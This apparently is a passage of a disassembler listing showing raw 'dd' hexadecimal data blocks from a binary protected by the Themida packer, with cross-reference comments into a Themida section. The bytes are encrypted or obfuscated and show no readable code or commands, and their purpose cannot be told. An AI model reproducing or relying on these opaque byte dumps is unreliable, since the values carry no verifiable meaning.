		dd 87F76EA7h, 0C7DE9F86h, 47523DC8h, 0CA831A63h, 1B53FAA3h
		dd 2E247570h, 19A6264Fh, 0E3E3509Fh, 0B353E7A7h, 1FFBA2D7h
		dd 0A729D66Eh, 0EC68FC7Ah, 6BECEE9Bh, 345Bh, 4B3FCE00h
		dd 0C48EFC32h, 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h
		dd 8F6F7C6Fh, 0A729DBC2h, 0E5CFA7D2h, 0F7B8D14Dh, 0D0406BECh
		dd 0F3000000h, 69116C62h, 0FA9F8667h, 3AF36A13h, 647D170Dh
		dd 2851D6E4h, 39FEF481h, 3E48203Dh, 0A7877CADh,	0AD3E47EAh
		dd 7FB67FAAh, 19644BE6h, 730A0590h, 4C451711h, 988FAD3Eh
		dd 595546E5h, 0AD3E4C3Ch, 589B158h, 0F9846D18h,	0E271C970h
		dd 0BC0B92EBh, 3836B504h, 0B3535F9Ah, 279135C6h, 59C83C1Eh
		dd 7E27563Ch, 93C69FD7h, 0DD2C8431h, 90BB704Eh,	30D9AD40h
		dd 772012C3h, 0CE29C7C8h, 2070C98Fh, 3D187F75h,	375D727Dh
		dd 45BBA1D8h, 0B7FA0781h, 0C76A83Ah, 74590000h,	14FC8709h
		dd 0B29C6769h, 160EF9CBh, 0B89A6567h, 7664C3C5h, 0C5C7B69Ch
		dd 0A828553Ah, 587F6DDh, 9AEA937Ah, 6C290502h, 28A72477h
		dd 0A486C53Dh, 210CF7D9h, 24DE6C5Ch, 0D5CCB199h, 0BB75561Ch
		dd 7B7F7F6Ch, 0E7B353E2h, 0A67A554h, 0C36B6E02h, 0B9B6AF5Ah
		dd 560820Ah, 94DA61B7h,	29D3E7AAh, 63F201A7h, 0DC950C71h
		dd 108C1896h, 6BECEF77h, 0ED7Fh, 9F865100h, 2882C1F8h
		dd 4B0E3D40h, 0D1AD3AC8h, 0AD3E2D84h, 23106910h, 5A037A72h
		dd 49E47BB3h, 2D503663h, 9F815D04h, 29AD3E32h, 0C24D3F3Eh
		dd 0A4D9CECBh, 841D54FDh, 0AD3A8927h, 4F562720h, 6363D0A6h
		dd 0B3533DB7h, 4E2F22B3h, 0BA0A3F28h, 0D1807E6Dh, 0C3A72938h
		dd 55F3E096h, 264F2E22h, 0DFF92D09h, 7281AD40h,	0B92EBE3h
		dd 0DDB9D862h, 2EDBAD3Ch, 0FDEA1F08h, 0DD4110EEh, 2653AD3Ch
		dd 4032E350h, 800F6E59h, 0EFF4775Fh, 0B90B629Eh, 0BBA1DCCEh
		dd 0FA07E87Bh, 6152F4ADh, 6E00000Bh, 590007Dh, 7520700Dh
		dd 0F782027Bh, 731E6E0Fh, 2D8CFC81h, 0E6F65BFh,	9FDED3BEh
		dd 0E6F622Dh, 0A1DCD3BEh, 7C7A772Fh, 0A72476DDh, 8678C6BFh
		dd 0CF7D9A4h, 3ECF5C21h, 89FD3548h, 0A0F9F19Ch,	8A1D8A5h
		dd 17CC926Bh, 155CC439h, 9F866B5Dh, 432AC7DEh, 0D0B05B54h
		dd 0C26B2FEEh, 6CBB75C2h, 6C9B7F7Fh, 4EFBB353h,	6A2A6B57h
		dd 30BEA729h, 863F48C4h, 13B76BECh, 9000000h, 0CDA99724h
		dd 2B776606h, 3BF33A43h, 7C909h, 6CC4A700h, 211D0E1Dh
		dd 0AD3EDE74h, 0B041F920h, 53F2B0D6h, 243DECB3h, 0EDDF9E89h
		dd 320C2B22h, 0A729CA63h, 0C2310831h, 475E1F13h, 0E5C1E88Eh
		dd 0E6DEDDEh, 0BBD35FCDh, 366363D4h, 664BEDA8h,	7F0A7AB3h
		dd 926CF588h, 4BEDA7C0h, 829A0AACh, 0E792F28Bh,	0CBD89700h
		dd 0D08145D9h, 7BB2CBC5h, 0B152F8E2h, 0A4A04BEDh, 4945D0D9h
		dd 0E8862D34h, 6FD487Ch, 0B83B3375h, 73BB3ACEh,	565169F9h
		dd 0F3DAA527h, 0FCB4138Ah, 52403EADh, 0C214A5BCh, 0D1463597h
		dd 0E3C7FAB6h, 5A54D39Ah, 1A98C5FCh, 5102F118h,	0EBC9DE34h
		dd 7EBA6B4h, 0DBCBC076h, 0ECA15AADh, 0BF2C7B35h, 957AE7BFh
		dd 831A4F72h, 0F7F78C24h, 66933A5Ah, 0C9660F3Ah, 0ABAD68EDh
		dd 56D5846Ch, 0B0B9C4A7h, 15C03109h, 0D7C4631Ah, 8B08BAD7h
		dd 72FDA6Ch, 8611FC87h,	5941296Eh, 17FD34DBh, 0BAB625D5h
		dd 0D538CA47h, 0FA000009h, 99646419h, 11FCCCB1h, 9B666617h
		dd 0FFACAB3h, 0D170601Dh, 324B41DBh, 0BBC2A752h, 324B3EC9h
		dd 0BDC0A752h, 585653CBh, 0A7247539h, 8694EA5Bh, 247ADE9Fh
		dd 58FA05A7h, 9960DA1h,	54390000h, 0F4DCA729h, 927C0789h
		dd 0F6EE99EBh, 987A0587h, 5644E3E5h, 25A7D6BCh,	8808755Ah
		dd 656716FDh, 0FACAB39Ah, 0C492522h, 88A72475h,	9F86A51Dh
		dd 482AC7DEh, 37A45335h, 221160D8h, 37FF7E73h, 0E85EBCBAh
		dd 8BBEB353h, 2F0C0A34h, 0A75468E7h, 0B54A5D45h, 0F3D360E4h
		dd 0E59655A6h, 9EEB43F6h, 0E4B18D22h, 0B0E59655h, 4343B089h
		dd 0EBAB776Bh, 0EBAA8497h, 0A9EB8136h, 0BC6DBA80h, 9BEA46A5h
		dd 0A99BB28Ch, 1039F199h, 8B851023h, 6CC26BF2h,	3597E6E1h
		dd 361A634Ah, 3DA07D9Ah, 0F1F39712h, 0DE000008h, 554090EDh
		dd 0E5B0205Dh, 473292EBh, 0E3AE1E5Fh, 7D3C8CF1h, 7EFFF50Fh
		dd 0EF8E830Eh, 7EFFF29Dh, 0F18C830Eh, 2C0A079Fh, 0A724736Dh
		dd 86C8362Fh, 6251DE9Fh, 43BFBEB3h, 0AD3EDF16h,	0D0B6D386h
		dd 4FDA85ADh, 95AF215Ch, 0AD3EDF28h, 0AEA23340h, 0DF2673CFh
		dd 4442AD3Eh, 0AD3EDF15h, 0E089D287h, 307F399Ah, 1A1D12C3h
		dd 3EDE7D1Ch, 43EA1FADh, 2B00FEEBh, 89B35944h, 0CBC253E0h
		dd 4027D2B2h, 0C1BDAE3Dh, 0A7247994h, 86215900h, 502E09EBh
		dd 0A7247A01h, 6DB6C7C1h, 61EC75BCh, 8D3D136Ah,	0FFFC1FC2h
		dd 846E082h, 0A4890000h, 240CF7D9h, 0A28C7759h,	261EE9DBh
		dd 0A88A7557h, 4634F3D5h, 0D5B7C6ACh, 5838452Ah, 0D5B7C6ADh
		dd 4A3A432Ah, 0BCD9D5D2h, 0D8A72472h, 9F86156Dh, 3C6518FAh
		dd 28C5DC95h, 20E55A3Dh, 2F8CC64Ah, 0FA7C5F06h,	225B526Ah
		dd 0C23673A2h, 0D8657201h, 0BAC3ADECh, 0EB43EAA3h, 4DD5Bh
		dd 6CC46D00h, 3B300E1Dh, 25B35944h, 0B11EFE96h,	0EB433748h
		dd 5DE80732h, 0CB90B72h, 503F66B5h, 0B9B0CDC5h,	0D8CC3A00h
		dd 0A82090E2h, 8D1A960Eh, 69F28BF2h, 54h, 0B299245Bh, 6C1BD2CBh
		dd 79B0581Bh, 4D3EF41Eh, 0B7C6C1F4h, 0E9E4717Eh, 714DDE94h
		dd 0AD3E9024h, 0C6A0C970h, 0CDA5F1D7h, 0AD899A99h, 8CD7B1F0h
		dd 184F93D8h, 0BFA875EDh, 5ACAE48Ah, 9A8FC9DEh,	0E2D51h
		dd 7F9F0000h, 1F0h, 720B0392h, 9EEC42EBh, 0CAB39924h, 3B8A27A4h
		dd 4B643822h, 0F9EE26ABh, 5550DD84h, 0B5DF8128h, 472093Dh
		dd 8EB3F470h, 2243F895h, 75000000h, 871E6DC4h, 0AB4B2A9Bh
		dd 24901E26h, 958ADFA8h, 0AC17F8h, 190A0000h, 0D27A801Dh
		dd 45ED1C33h, 0DD972443h, 0E0CDD2A9h, 0C6AE4F62h, 63352889h
		dd 0CE03BE0Bh, 0A2E9A61h, 35B27B66h, 0C8094826h, 0DE8BAD3Eh
		dd 0FE9B9B98h, 9EAD3EC7h, 0E691BE6Bh, 0ABD2BD93h, 4B3217B2h
		dd 62D25C52h, 0CB57DB2Eh, 1A33A4Fh, 0B9B46172h,	3EF49DC4h
		dd 510Ah, 7A701D00h, 7BB35A03h,	1E6DC40Dh, 0DE6A3511h
		dd 336AD3Eh, 0D7059E4h,	9D95DD94h, 0ECDE7FEEh, 917D1891h
		dd 0F1D875ECh, 2DC5F18Ch, 0DE86D3B3h, 6316AD3Eh, 0BA2A840Ah
		dd 1F7693Eh, 108D72h, 0F3A00000h, 3D3679A1h, 0F0E2986Fh
		dd 0FF7Fh, 0D97F3100h, 31000000h, 553A6DC4h, 0A1D88128h
		dd 21D61E08h, 2546028Fh, 9C193836h, 0EA7B57EEh,	46EF7607h
		dd 0B52D47EFh, 0F4E283Bh, 8D57EE9Ch, 169396DCh,	0E21CB1B4h
		dd 75h,	3A6DC4D4h, 0D9802954h, 0F5A093A0h, 0DED580FDh
		dd 306DD79Fh, 6CAD3EDFh, 6945F2D9h, 0AD3EDF2Ch,	0F178C168h
		dd 8E78F148h, 0CD5F0BEBh, 850171FDh, 51E1CE04h,	36F4h
		dd 6DC4C600h, 13DB9C38h, 45EC1271h, 8389C8A6h, 180BAD3Eh
		dd 3E837F1Eh, 5FEC1DADh, 1FCE0661h, 69FD66Fh, 5ECC991Ch
		dd 931F8F1Ah, 0E1E49217h, 76604h, 7F580000h, 50h, 59972431h
		dd 59F8F609h, 3BAD3E3Ah, 8C95810Eh, 116C65F0h, 0FA99E198h
		dd 0B4A2413h, 89AD3E66h, 361099E0h, 0AD3E6564h,	0ABC32F39h
		dd 69D7B9C4h, 1A1E6DC4h, 0A10B1D73h, 0EC25AA11h, 54D5AD3Eh
		dd 7201EA54h, 0FFFF0FA2h, 6B7F14FFh, 31000002h,	0C7DE9F86h
		dd 0AD3A432Ah, 0DE91C0BEh, 5603AD3Eh, 7083B020h, 3EDEC796h
		dd 0CEA4D5ADh, 0F7F443FDh, 53E74BF7h, 0A7BE6BB3h, 29D69ABBh
		dd 54E04EA7h, 0ECEECFD8h, 573BCA6Bh, 0A0D67F26h, 50F0h
		dd 6CC4E200h, 0DEBAD7D7h, 2FDAAD3Eh, 0E9FAE906h, 3EDE500Dh
		dd 551D4CADh, 53E253E7h, 0B9AE5FB3h, 0DBD1807Eh, 96C3A729h
		dd 277650DFh, 75A729DCh, 88B16EC4h, 0DB5405E1h,	1A94A729h
		dd 8D83108Ah, 0A424229Ah, 91161961h, 656BECB5h,	0B9h, 0FA9F8657h
		dd 0DDA08613h, 0D640D94h, 6A13F994h, 0B1C4CE7Dh, 19457E5Bh
		dd 0C4AB4661h, 2A25B0B9h, 0E5377153h, 0DAD3ED3h, 42F88580h
		dd 0D2611C13h, 674D4C43h, 8F465F16h, 0DE5AE7E7h, 0DFF3A08Fh
		dd 27227003h, 0A83A2DB9h, 0E34050EBh, 620B92EBh, 0E8C6630Bh
		dd 0B35658B0h, 52FFFFF4h, 42A72758h, 44D15E17h,	0E809314Ch
		dd 8606775Dh, 0F06419FBh, 0FC1221C4h, 69BD51C8h, 66000004h
		dd 0ED98F885h, 6D187805h, 0FF8AFA83h, 6B167607h, 1594F489h
		dd 16674DA7h, 97E6CBB6h, 16674A35h, 99E4CBB6h, 94725F37h
		dd 0A7246FC5h, 8670DED7h, 81FCF5A4h, 880831E8h,	196B12FDh
		dd 373724ABh, 0AD3EDF1Ah, 65BEBFA8h, 0D8CF7EB4h, 7671FCA5h
		dd 80388507h, 22B1C231h, 62476F52h, 0BCCB821Bh,	0D69C1429h
		dd 532D6A68h, 0E3C776B3h, 84ADD0B6h, 265750DDh,	0B3E274Fh
		dd 0CE7A892h, 0F185A729h, 0BA09A781h, 1D45512Dh, 0A8D1AD3Eh
		dd 0FF9E988Bh, 9DAD3E1Ch, 75C2C66Ch, 7F7F6CBBh,	0B35882ACh
		dd 43D26108h, 6660304Dh, 0A724383Dh, 68F5A289h,	0BDCEC596h
		dd 5203F049h, 0D188215Ch, 475325A9h, 7D000000h,	3EDF1637h
		dd 0BB50EAADh, 3EDE9EBBh, 5A65FEADh, 0AD3D7B2h,	4242EB42h
		dd 8866D1B7h, 0AD3E8BC9h, 0CED79ECBh, 3E8BA5F4h, 0F76B0BADh
		dd 3494E9DFh, 0E6F56E7h, 37462D68h, 8C02542Eh, 0C56FAD3Eh
		dd 5F1E152Dh, 0A386DF6Dh, 605E4DDAh, 0AD3EDF31h, 0E980B663h
		dd 8755BEAh, 4D302332h,	0C9D0B954h, 4D049DE0h, 0F4F07D24h
		dd 7CFAE089h, 3043B4E8h, 0DF164343h, 0BBB4AD3Eh, 29F29BC2h
		dd 0A83C3A00h, 47E49990h, 0D1A9D4B6h, 0F18EC3FDh, 31C0AD3Eh
		dd 7201E559h, 0FFFF679Dh, 9F862FFFh, 8B8514FAh,	6BF23BF2h
		dd 3696E7DEh, 0C3745CE9h, 3EDE96C3h, 1A5306ADh,	27A4CA83h
		dd 0D1AD3A89h, 0B353E775h, 15F178A1h, 0A729D644h, 1E9A0AA4h
		dd 6BECEE89h, 4B6Dh, 6CC45F00h,	0A300E1Dh, 0CAB353E2h
		dd 7C09069Fh, 0B745ED90h, 0A729DB96h, 2EB26152h, 9F70C101h
		dd 951F2265h, 0B2A83DF6h, 2A600C4Fh, 0E88EE747h, 0CDDA56CEh
		dd 296BECE6h, 0EEh, 255851FCh, 0E2AF8F7Ch, 0B2A729C6h
		dd 0A88AE87h, 0C7DE9F86h, 684F482Ah, 0EE9A3916h, 1CAF3CF5h
		dd 9E552A46h, 2641F98Bh, 0B9F3A48Bh, 0D12B4E15h, 7F0A93DAh
		dd 8693F588h, 116914F7h, 3DE73133h, 0C9B49BADh,	48513CC7h
		dd 2D503960h, 0D7342D04h, 0E1D0A59h, 3DE66130h,	300633ADh
		dd 2A25B0C3h, 0CBA34A53h, 52E9C171h, 858015B3h,	24F41F8h
		dd 0EBF8F746h, 0FCD9858h, 817D84D4h, 0A7298ED4h, 9AE099C0h
		dd 4139EEACh, 6C7BAEADh, 3292EBE1h, 0F24C56E5h,	0DFB828E3h
		dd 6716FC97h, 707F5F1h,	0A83AB7FAh, 1ECh, 398BF2E3h, 0A1235A4Eh
		dd 3B8DF0D6h, 0A7295450h, 587F6DCh, 0F4D630A6h,	937C0789h
		dd 0FCEF9AEAh, 89840F81h, 0FFC94F4h, 246C622Fh,	0CB4332A7h
		dd 0B393A486h, 0AD3EDEE6h, 0DAAA83B6h, 364740CDh, 235A5500h
		dd 6CC413A1h, 701D0E1Dh, 0CF2D0578h, 0B353E22Bh, 0BBA7BE6Bh
		dd 0A729DB9Ah, 0D854E04Eh, 6BECF7CFh, 0C127h, 9F869900h
		dd 482AC7DEh, 39186A4Fh, 0D0202F4Eh, 0CA8767C6h, 0CAAD3E3Ah
		dd 69FD69Fh, 3E3F481Ch,	0E29B92ADh, 0B1CCB845h,	553901B8h
		dd 0AAD3BD48h, 1934FAB3h, 0F9564F2Eh, 303F03Fh,	0B35340F3h
		dd 0DDA092A3h, 64640DC4h, 1D0A59D7h, 40E41621h,	0C1B3C2ADh
		dd 0C77675BCh, 0EB3898E5h, 3006775Ah, 836A2F25h, 9FAA63FAh
		dd 22CBD2ABh, 0A2E3054Bh, 0E099FA07h, 10B4Eh, 0AECFC400h
		dd 3E3F33DEh, 0B0CDC34Eh, 443935E0h, 0AAD3B944h, 936D5BDAh
		dd 21ECDCA1h, 88735528h, 21ECDCA1h, 9D755726h, 6B87D6B0h
		dd 0A015A724h, 0D9A48632h, 62DEA95Ah, 0BA0843F3h, 9A9C058Dh
		dd 35FDDB90h, 0BEBFA651h, 9F8680CEh, 0D64751F8h, 0FAF46DDBh
		dd 0AD3EC05Bh, 10691039h, 6C11FC99h, 8A7E0F1Ch,	0E8DF6AF3h
		dd 0C650C95h, 7CCB6566h, 94E9DE6Fh, 388B7E0Dh, 51EA4414h
		dd 0E5E15228h, 0B358B18Eh, 4BE67FAAh, 0CCB71964h, 0B0CDB8E1h
		dd 0E9164343h, 0D386A723h, 4008D9Ah, 0DD7C7A79h, 0BFA723E8h
		dd 0E1BDE48Ah, 0BC00E72Fh, 0C24901Eh, 3F6C5C21h, 0AA42D58Ch
		dd 34D81FD7h, 24B2E17Eh, 0BAD9A14Dh, 0DF87C4D3h, 425A4F04h
		dd 0EFD772EBh, 927A178Eh, 0F0D772EBh, 305D148Dh, 351D4439h
		dd 40F72BB7h, 0B744BE36h, 0EDED9404h, 831268C0h, 0F49FF18Ch
		dd 49DD84F9h, 10h, 0D4C7B467h, 0C6403D29h, 0AD3EDE97h
		dd 0AC1E5405h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h
		dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h
		dd 0DBC6804h, 0C890000h, 0E7895724h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 50240C89h, 405E089h, 83000000h, 48704E8h
		dd 2C895C24h, 3685624h,	5E4FCA7Ah, 0ECA6C681h, 0F189B64Fh
		dd 8124348Bh, 4C4h, 4EC8100h, 89000000h, 4832424h, 535D0424h
		dd 0BA52CB89h, 8, 1A89EA01h, 34FF5B5Ah,	0C4815D24h, 4
		dd 592434FFh, 0E904C483h, 0FFFBD3F4h, 746EB886h, 0C503061Ah
		dd 5727E0FFh, 0C6880A7Ch, 66B73FCDh, 0AA547441h, 0A6134B20h
		dd 33A1127Fh, 354951A9h, 97D71B0h, 0F16166D7h, 16AA5DBAh
		dd 0BF4806DDh, 190835E3h, 4E1F750Bh, 0D8EE091Bh, 98DB2256h
		dd 6EC73C2h, 0C5B86336h, 0B6D71A88h, 9D8D1372h,	6150581h
		dd 0CEB8h, 0FD858900h, 0E8061500h, 0
		dd 0D0558h, 3890000h, 0CEE9h
		db 0
byte_5D0F8D	db 2 dup(0), 0F2h	; DATA XREF: Themida_:00579FB0o
		dd 32h dup(0F2000076h),	0E8FFFF76h, 0Ah, 37136261h, 0DF7B52A8h
		dd 5DB946E1h, 5870FC94h, 8E8h, 0ED3B2000h, 1F745EF6h, 5E33B5BAh
		dd 6FFAC081h, 68F50000h, 0
		dd 665F5FB5h, 8B4AE3B9h, 0F3813814h, 35A509A8h,	31C9F281h
		dd 880F7A74h, 4, 55C7BB66h, 0AE5AEA81h,	81F84C90h, 0AF090EEAh
		dd 0E8F0F64h, 0E9000000h, 9, 0F2BEB361h, 0D1E09FA3h, 14E9524Bh
		dd 9F000000h, 22435AFCh, 4C3A30C6h, 0CD1320CBh,	5848DA32h
		dd 8FD8B71Ch, 0E7803804h, 6A96BB45h, 0EF810811h, 770BEBFBh
		dd 0EBF7C781h, 0F98A770Bh, 90B4FF81h, 850FFFFFh, 0FFFFFF87h
		dd 527ADE81h, 8D8D2503h, 61A77D5h, 0AD9858Bh, 8D890615h
		dd 6152721h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	90C35141h, 4F942D0h, 8D89FC2Ch,	61506E1h, 4CD85C7h
		dd 61F00615h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0B6F159C3h, 0E80D83A3h, 8, 7C4C45E0h
		dd 77032C06h, 12E8h, 9AD01800h,	0BEE86BD7h, 68354A59h
		dd 0B6CCED09h, 0FC76190h, 86h, 0C75A5F00h, 15111585h, 6
		dd 35BD8B00h, 0FF061530h, 152E0DB5h, 9EE88006h,	2C995FFh
		dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 2E1046C3h, 5299B9B8h, 14F19589h, 0E95F0615h
		dd 0Dh,	63621142h, 66E304F6h, 201A48BCh, 0FF006A48h, 152E2195h
dword_5D1204	dd 0EBC08B06h, 76DD797Ch, 2C08FF38h, 96E20D3Dh,	0ACBC2AA2h
					; DATA XREF: Themida_:0057A110o
		dd 4E436640h, 0CE6E66B5h, 59BA19A9h, 2872CA8Eh,	5ACF78F5h
		dd 8A042F94h, 0A3374469h, 0F87342D2h, 0CE6FEF9Fh, 56A81B18h
		dd 6F2DE421h, 2EF3C1Ch,	129E9C7h, 0A1FAA901h, 0B4BFFCF2h
		dd 32E42026h, 0C85E22ABh, 0EF03E40Fh, 0D6706143h, 11369C88h
		dd 6189128Eh, 3586397Eh, 30D574DCh, 4AD8DD13h, 1D1C5E4Eh
		dd 0ECCB7831h, 0C17CFDC8h, 0B0E950h, 66600000h,	0C2F6DA8Ch
		dd 0C850F04h, 3B000000h, 15168585h, 36840F06h, 3B000000h
		dd 15078985h, 2A840F06h, 3B000000h, 15178985h, 1E840F06h
		dd 3B000000h, 15101585h, 12840F06h, 83000000h, 152CEDBDh
		dd 840F0106h, 5, 5FE9h,	3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh
		dd 49840FC9h, 81000000h, 0F8C2h, 0C728B00h, 598BC803h
		dd 14518B1Ch, 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h
		dd 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h
		dd 154F9E9Dh, 5B806h, 0E3FF0000h, 0D00BC361h, 79C88D8Dh
		dd 6A061Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0DCA871C3h, 2B255D79h, 8E9B9h, 95CA0000h
		dd 243FCA0Dh, 23517629h, 150E059Dh, 8D895F06h, 6152721h
		dd 6919D89h, 85C70615h,	61504CDh, 6070h, 45BD3357h, 5806152Ah
		dd 111585C7h, 615h, 0F8530000h,	89BD8B5Eh, 0FF061518h
		dd 1502B5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 11E97C0Eh, 82000000h, 32B41BB4h
		dd 4A79635Bh, 562FB6D5h, 0C2303E6Eh, 2C995FFh, 0C6810615h
		dd 1B7EE085h, 95FF006Ah, 6152E21h, 2FEBC08Bh, 81CA6770h
		dd 2A1D376Eh, 50657ADh,	80FF808Ah, 444681Ah, 0F046B389h
		dd 0DE5B5F7h, 0FB29B31Ah, 9D2C6832h, 19ADCCD2h,	0B21E706h
		dd 0EB4C7B69h, 60h, 17h	dup(0)
		dd 0B71E900h, 65E90000h, 6800000Bh, 61A8272h, 0FB03E1E9h
		dd 83CD68FFh, 0D7E9061Ah, 68FFFB03h, 61A8441h, 0FB03CDE9h
		dd 0DC4CAAFFh, 1787EA39h, 0E454B17Eh, 2E9E2211h, 0EA5AD847h
		dd 0A41F8C0Bh, 0F03FD646h, 0A9761F8Fh, 0E53ADB4Bh, 547F1686h
		dd 8896BB8Ah, 9455169Ch, 0E0624FA8h, 16999A70h,	0F370A6h
		dd 0B9660F7Fh, 0EAF4CA3Ah, 86F2365Bh, 6E4B510h,	0E4114608h
		dd 0C69787C3h, 4DAF5C0Eh, 55B001DDh, 2DCB1E5h, 86281E43h
		dd 1ECCDD10h, 0C7C03F0h, 2999190Ah, 361FEDh, 8B29A1E5h
		dd 8DED1ECCh, 0A808191Dh, 88E5FE38h, 0A4051E18h, 0E92D9D18h
		dd 6DFB3B14h, 97C599C9h, 86C0E52Ch, 149B8810h, 0B29D72A4h
		dd 98BF86D8h, 5F16A15Eh, 715ECE32h, 7F15686Dh, 90A71794h
		dd 3C2EED97h, 0C838B9FAh, 88B87D2Dh, 6EFA7DB6h,	0A4999D0Dh
		dd 0DA9CAC8Bh, 0AD9C1631h, 776577BDh, 9CDB85CCh, 0B3576816h
		dd 9CDBCD08h, 979FB016h, 0A5B9298Ah, 0CBBF2F8Ch, 0C7247CC0h
		dd 65276557h, 464F04Ch,	6BCFBB94h, 0E0DC0CABh, 8398864Fh
		dd 0D9D24A19h, 0A6D66231h, 68A82673h, 3DB9h, 0CABCD00h
		dd 864FE0DCh, 0BAD8ECD9h, 0FD3F2BFFh, 860C0346h, 0E3D9EA10h
		dd 0C5246B4Fh, 6D4ABA39h, 3319348Ah, 9F9DB249h,	73E3624Fh
		dd 4F60CC97h, 28F08986h, 0B65413F1h, 2B06h, 0CAB2200h
		dd 54B102DCh, 2DDDB2E4h, 0ADF44F05h, 0DE1086F2h, 6B4FCBF1h
		dd 3FDC864Fh, 9CB92DDh,	0E151B061h, 0E353D4DDh,	72561307h
		dd 3DB0BABh, 9C1BA040h,	2A6C3D16h, 93DB82CBh, 19C46B16h
		dd 0E858D8D9h, 0C434B5AEh, 0D848A8EBh, 8A09E1DEh, 9DBD431Fh
		dd 20BA5h, 0AAB8100h, 0FF56FEE2h, 2B04199Dh, 5461B013h
		dd 0B1C1086h, 0D8C22233h, 952B0E6Bh, 0C61567C2h, 3E2C50F5h
		dd 53C90ED0h, 3A607AA7h, 83F35241h, 61C92AE7h, 22870C00h
		dd 8D5BA5B2h, 3618FDD2h, 40749D28h, 2EF71086h, 49F4AA55h
		dd 9F4B6467h, 0E3624F7Bh, 0CE2E4373h, 4867585Eh, 0A21271A2h
		dd 0E3624F7Ah, 3660D057h, 4F407659h, 0AB89719Bh, 0D502DC0Ch
		dd 0E311C1F2h, 34E88269h, 86FC486h, 96A19E98h, 35AEE20Fh
		dd 36DE8C42h, 0A82673A6h, 57B968h, 0ABCD0000h, 4FE0DC0Ch
		dd 9971E162h, 0F2D900C3h, 0A2A41086h, 86F2FE23h, 83AC7D10h
		dd 0B7864F99h, 1E6EF6B6h, 38827047h, 0AE0F172Bh, 24427ABCh
		dd 4CBC39C5h, 624F3963h, 0CB9A70E0h, 0E0624F5Dh, 0CD2D4670h
		dd 4B64595Dh, 48039Fh, 23390000h, 86F279A0h, 57330410h
		dd 0DC0CABE3h, 0ADF44FE0h, 0DE1086F2h, 68CB57D5h, 0EEDFD7F8h
		dd 0DED848A5h, 0C3F0CEE1h, 0F3E4D242h, 0E560D379h, 0E42F00E8h
		dd 0C9711989h, 0C5246B4Fh, 0F0538955h, 1086F2A9h, 73A74354h
		dd 0AAB7256h, 6C4104DAh, 0EF1086F2h, 0A6D700DEh, 18BC4583h
		dd 331913F7h, 0D7779A29h, 25F61086h, 0F767C445h, 0C7241A1Eh
		dd 0F2BADF66h, 70411086h, 43275D5Fh, 0E0DC0CABh, 73A6A286h
		dd 0D368A826h, 0C28EFB02h, 4525DC8Ch, 46D5h, 0CABB100h
		dd 8D4FE0DCh, 6056C624h, 0F9207B6Fh, 221086F2h,	0F73FAF11h
		dd 63346406h, 246B4F39h, 4C8955C5h, 0F4BAB12Bh,	0D53D2D88h
		dd 5FB57256h, 0F3000000h, 6DC768E2h, 19BA9D0Dh,	13AF88C4h
		dd 9892B297h, 0ABE35733h, 0DC02DC0Ch, 86F22069h, 10FACB10h
		dd 0E0624F2Ch, 0F29DC47Fh, 4F601086h, 11B48A60h, 1086F2C8h
		dd 81C87B41h, 6C1086F3h, 19BB9263h, 93BC8E29h, 6B4F80BCh
		dd 6755C524h, 66C39456h, 267FC5FFh, 0EB1EA1B6h,	0F20949Dh
		dd 0CFB5B75Bh, 0D1000000h, 4DA0AABh, 86F21041h,	0DCDAEB10h
		dd 400364C7h, 1086F219h, 0E2FCD3E4h, 5EE36FD1h,	0F8D7A8EEh
		dd 476058DFh, 0FBEF31B8h, 0C724CC70h, 65276557h, 377CEC4Ch
		dd 7D5244B4h, 0CABA58Dh, 0F23158EBh, 0C92F1086h, 0F9D6E759h
		dd 0DF624FC3h, 4CF07B6Fh, 93B68D4Fh, 5A1086F2h,	77E74A49h
		dd 26C51893h, 4B2B68A8h, 0FF000000h, 93B68D4Fh,	5A1086F2h
		dd 77E74A49h, 0F69C4E3Fh, 54701B43h, 7E3427F7h,	0F44F6B51h
		dd 1086F2ADh, 4F3D7F50h, 64C5246Bh, 0F286CB7Ah,	54651086h
		dd 86F2A8F1h, 6D425310h, 4F72562Fh, 95C81486h, 54361C9Fh
		dd 1D68h, 0CAB4400h, 0C5DD20E4h, 17381EFDh, 0ADF44F25h
		dd 0DE1086F2h, 6B4FCBF1h, 6755C524h, 0C7247256h, 0F2525F57h
		dd 0BF3CF382h, 0E844D033h, 6E5F5778h, 21F08A49h, 52A518Bh
		dd 87E64B11h, 3487317h,	6F10869Eh, 0FADB17C6h, 4C9D4F0Ch
		dd 0F633D7A1h, 68B11475h, 131086FEh, 0DB482D02h, 0FD6DCC58h
		dd 0BA5DE4D2h, 0C3278C4Eh, 806A6353h, 0A221A619h, 0BAF76332h
		dd 0F3CCCA3Ah, 0ADDDA117h, 17563291h, 0D6E7169Ch, 0C43865E0h
		dd 4AC51693h, 5083E663h, 20099DBDh, 1D000000h, 8757C724h
		dd 0B456C62Ah, 0F2D6FB7Ah, 6B1A1086h, 90008344h, 0BB7C5905h
		dd 8ABAEA6Ch, 24BB5F0Bh, 7D5F57C7h, 0F352B334h,	1086F2AEh
		dd 63537C4Dh, 661A806Ah, 0CA9D2836h, 4916A16Ch,	0CD786678h
		dd 169C8884h, 0BD885667h, 169C8894h, 0C9A44657h, 6ED11DE1h
		dd 0E8C7B8FEh, 61936FD6h, 192A1086h, 5177961Dh,	99001CA9h
		dd 0BD962326h, 211EA3D7h, 0FA000000h, 3ABE0AABh, 0DCF3CCCAh
		dd 0F26E4302h, 268B1086h, 5B951C1h, 0AC092A34h,	125B593Ch
		dd 2F000000h, 4DA0AABh,	86F26C41h, 0DEEF10h, 13E252B3h
		dd 0B68D4F25h, 1086F293h, 1A1495Ah, 193h, 0E010AB15h, 0DF624FBCh
		dd 0B456276Fh, 0C724727Ah, 654ABA3Bh, 6BDB5859h, 84B8522Bh
